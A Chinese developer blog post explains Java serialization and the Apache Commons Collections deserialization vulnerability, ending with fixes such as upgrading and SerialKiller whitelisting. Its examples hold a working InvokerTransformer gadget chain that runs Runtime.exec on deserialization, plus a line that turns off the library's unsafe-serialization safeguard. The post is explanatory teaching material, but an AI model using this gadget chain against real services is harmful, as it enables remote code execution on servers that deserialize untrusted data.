热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【序列化】UNSAFE_DESERIALIZATION不安全的反序列化和反序列化漏洞

文章目录UnsafeDeserialization反序列化漏洞背景认识Java序列化与反序列化用途应用场景Java中的API实现:序列化基础类型参数序列化对象漏洞是怎么来的呢?解决

文章目录

    • Unsafe Deserialization
    • 反序列化漏洞
      • 背景
      • 认识Java序列化与反序列化
        • 用途
        • 应用场景
        • Java中的API实现:
          • 序列化基础类型参数
          • 序列化对象
      • 漏洞是怎么来的呢?
    • 解决方案

注意:本文例子都是在JDK1.8下跑的

Unsafe Deserialization

进行代码检查时,Coverity工具在进行json转换时,报Unsafe Deserialization错误,字面意思是不安全的反序列化,根本原因就是反序列化会有漏洞导致的。

《【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞》
看完下文反序列化漏洞的原理后,我们就知道该如何解决这个问题了。

反序列化漏洞

背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前,针对这个”2015年最被低估”的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

认识Java序列化与反序列化

用途

  • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  • 在网络上传送对象的字节序列。

应用场景

  • 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  • 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

Java中的API实现:

序列化基础类型参数

位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

序列化:  ObjectOutputStream类 –> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 –> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "ls "; //原始字符串,供写入文件用
// 将序列化对象写入文件object.txt中
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.txt中读取数据
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
System.out.println(obj2); //输出ls ,证明读取的就是当初写入的字符串对象
ois.close();
}
}

我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

序列化对象

实现SerializableExternalizable接口的类的对象才能被序列化。

Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

我们来看个Serializable接口例子,采用默认的序列化方式:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.text.MessageFormat;
class Person implements Serializable {
// 序列化ID
private static final long serialVersionUID = -5809782578272943999L;
private int age; //省略get,set方法
private String name; //省略get,set方法
private String sex; //省略get,set方法
}
public class SerializeDeserialize_readObject {
public static void main(String[] args) throws Exception {
SerializePerson();// 序列化Person对象
Person p = DeserializePerson();// 反序列Perons对象
System.out.println(MessageFormat.format("name={0},age={1},sex={2}", p.getName(),
p.getAge(), p.getSex()));
}
/** * 序列化Person对象 */
private static void SerializePerson() throws FileNotFoundException, IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("男");
// ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
/** * 反序列Perons对象 */
private static Person DeserializePerson() throws Exception, IOException {
FileInputStream fis = new FileInputStream("Person.txt");
ObjectInputStream ois = new ObjectInputStream(fis);
Person person = (Person) ois.readObject();
ois.close();
System.out.println("Person对象反序列化成功!");
return person;
}

漏洞是怎么来的呢?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

我们来看个例子,在windows上执行时会弹出计算器,作用是举例说明java调用本地的应用程序,模拟一种攻击效果,后续基于此例子,演示序列化时触发攻击:

引入commons-collections 3.2.2

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class MapTest {
public static void main(String[] args) {
Map map = new HashMap();
map.put("key", "value");
// 调用系统的计算器命令
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };

Transformer transformer = new ChainedTransformer(transformers);
Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer); //调用封装方法
for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
System.out.println(entry);
entry.setValue("anything"); //value值发生变化,触发Transformer
}
}
}

我们来分析上面代码的原理:

  • TransformedMap.java
    Apache Commons Collections包下的类,实现了Map接口(通过父接口间接实现),作用是封装一个普通的map,可以根据一定的规则,转换map内的对象。

    TransformedMap.decorate()方法,是个static方法,可以封装普通map,该方法有三个参数。

    • 第一个参数为待转化的Map对象

    • 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)

    • 第三个参数为Map对象内的value要经过的转化方法

      上面的例子中,我们只对value做了特殊处理,对key传参null

  • Transformer.java
    声明接口,实现类都具备把一个对象转化为另一个对象的功能

    • ConstantTransformer
      把一个对象转化为常量,并返回
    • InvokerTransformer.java
      InvokerTransformerTransformer的具体实现,该类通过反射,返回一个结果。transform()方法接收一个对象,然后对该对象调用进行invoke(反射),反射的目标方法正是构造函数的入参methodName(String类型)

    //构造函数,正好是反射需要用到的,入参为方法名称等
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
    }
    public Object transform(Object input) { //入参input
    if (input == null) {
    return null;
    }
    try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes); //反射的目标是methodName
    return method.invoke(input, iArgs); //调用反射

    }

  • ChainedTransformer
    多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令&#8221;&#8221;。依次调用关系为: Runtime &#8211;> getRuntime &#8211;> exec()

简单来说,上面代码的目的等价于下面的简写形式,只不过是为了模拟一种隐蔽的案例:

public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc.exe");

上例例子目的是通过map的setValue() 触发一种攻击效果,下面就考虑在序列化时,如果也会调用map的setValue()的话,那么也会触发攻击。

思考

目前的构造还需要依赖于调用Map中的setValue()触发 ,怎样才能在调用readObject()方法时直接触发执行呢?

答案:如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,我么就可以实现攻击目标。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
class PersonBean implements Serializable {
private static final long serialVersionUID = 1L;
private Map<String, Object> map; //有个map成员
private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException { //自定义反序列化实现
Map<String, Object> map = (Map) is.readObject();
for (Map.Entry<String, Object> entry : map.entrySet()) {
if ("hello".equals(entry.getValue())) {
entry.setValue(entry.getValue() + " world"); //触发setValue,拼接字符串
}
}
}
public Map<String, Object> getMap() {
return map;
}
public void setMap(Map<String, Object> map) {
this.map = map;
}
}
public class MapTest2 {
public static void main(String[] args) throws Exception {
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
String command = "calc.exe";
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
BeforeTransformerMap.put("hello", "hello"); //原始map
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null,
transformedChain); //经过transformedChain处理的map
PersonBean person = new PersonBean();
person.setMap(AfterTransformerMap); //构建person对象
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(person); //序列化
out.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
ois.readObject(); //反序列化
ois.close();
}
}

例子中只重写了readObject(),一般都是成对重写的,因为涉及到写入内容和读取内容的顺序,这个例子只是演示,并且不设置读取顺序。详细约束可以参考其他文章

PersonBean 是我们构造的,并且自定义了 readObject(),并且触发了危险调用的代码。如果我们的应用程序中存在类似 PersonBean 的话,那么说明就有风险。不幸的是,确实存在,AnnotationInvocationHandler类就是:

//位于rt.jar包中,这个是1.6版本反编译的
class AnnotationInvocationHandler implements InvocationHandler, Serializable { //继承了Serializable
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
for (Map.Entry<String, Object> entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = map.get(str);
if (clazz != null) {
Object object = entry.getValue();
if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember(annotationType.members().get(str))); //entry.setValue重新赋值
}

注意:AnnotationInvocationHandler 的源码是1.6的,是为了说明setValue(),而1.8版本该方法重构了,和之前版本大不一样,找不到setValuele 。并且按照原文的例子,可以用AnnotationInvocationHandler 触发业务场景的,但是我没有成功。

后续:经过学习,得知Collections包需要在3.1版本之前,可以复现AnnotationInvocationHandler触发计算器的例子,3.1版本是存在攻击漏洞的版本,后续版本已经修复或加以保护。

注意:由于Apache Commons Collections在 3.2.2版本进行了修复,因此需要设置:

System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

否则会报如下错误 org.apache.commons.collections.enableUnsafeSerialization

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

原因是 org.apache.commons.collections.functors.FunctorUtils 类中新增加检查属性配置代码如下:

private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
is.defaultReadObject();
}

解决方案

1.更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

注意仅仅增加检查开关,并不是真正意义上的解决,如果关闭开关,仍然会有风险。

2.NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。


推荐阅读
  • 本文详细介绍了Java编程语言中的核心概念和常见面试问题,包括集合类、数据结构、线程处理、Java虚拟机(JVM)、HTTP协议以及Git操作等方面的内容。通过深入分析每个主题,帮助读者更好地理解Java的关键特性和最佳实践。 ... [详细]
  • 网络攻防实战:从HTTP到HTTPS的演变
    本文通过一系列日记记录了从发现漏洞到逐步加强安全措施的过程,探讨了如何应对网络攻击并最终实现全面的安全防护。 ... [详细]
  • 360SRC安全应急响应:从漏洞提交到修复的全过程
    本文详细介绍了360SRC平台处理一起关键安全事件的过程,涵盖从漏洞提交、验证、排查到最终修复的各个环节。通过这一案例,展示了360在安全应急响应方面的专业能力和严谨态度。 ... [详细]
  • 本文探讨了如何优化和正确配置Kafka Streams应用程序以确保准确的状态存储查询。通过调整配置参数和代码逻辑,可以有效解决数据不一致的问题。 ... [详细]
  • 2023年京东Android面试真题解析与经验分享
    本文由一位拥有6年Android开发经验的工程师撰写,详细解析了京东面试中常见的技术问题。涵盖引用传递、Handler机制、ListView优化、多线程控制及ANR处理等核心知识点。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 如何配置Unturned服务器及其消息设置
    本文详细介绍了Unturned服务器的配置方法和消息设置技巧,帮助用户了解并优化服务器管理。同时,提供了关于云服务资源操作记录、远程登录设置以及文件传输的相关补充信息。 ... [详细]
  • 本文深入探讨了Linux系统中网卡绑定(bonding)的七种工作模式。网卡绑定技术通过将多个物理网卡组合成一个逻辑网卡,实现网络冗余、带宽聚合和负载均衡,在生产环境中广泛应用。文章详细介绍了每种模式的特点、适用场景及配置方法。 ... [详细]
  • 本文详细分析了Hive在启动过程中遇到的权限拒绝错误,并提供了多种解决方案,包括调整文件权限、用户组设置以及环境变量配置等。 ... [详细]
  • 本文详细介绍了 MySQL 的查询处理流程,包括从客户端连接到服务器、查询缓存检查、语句解析、查询优化及执行等步骤。同时,深入探讨了 MySQL 中的乐观锁机制及其在并发控制中的应用。 ... [详细]
  • 随着网络安全威胁的不断演变,电子邮件系统成为攻击者频繁利用的目标。本文详细探讨了电子邮件系统中的常见漏洞及其潜在风险,并提供了专业的防护建议。 ... [详细]
  • 探讨了小型企业在构建安全网络和软件时所面临的挑战和机遇。本文介绍了如何通过合理的方法和工具,确保小型企业能够有效提升其软件的安全性,从而保护客户数据并增强市场竞争力。 ... [详细]
  • 科研单位信息系统中的DevOps实践与优化
    本文探讨了某科研单位通过引入云原生平台实现DevOps开发和运维一体化,显著提升了项目交付效率和产品质量。详细介绍了如何在实际项目中应用DevOps理念,解决了传统开发模式下的诸多痛点。 ... [详细]
  • 2018年3月31日,CSDN、火星财经联合中关村区块链产业联盟等机构举办的2018区块链技术及应用峰会(BTA)核心分会场圆满举行。多位业内顶尖专家深入探讨了区块链的核心技术原理及其在实际业务中的应用。 ... [详细]
  • 本文详细介绍如何利用已搭建的LAMP(Linux、Apache、MySQL、PHP)环境,快速创建一个基于WordPress的内容管理系统(CMS)。WordPress是一款流行的开源博客平台,适用于个人或小型团队使用。 ... [详细]
author-avatar
翁向军_943
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有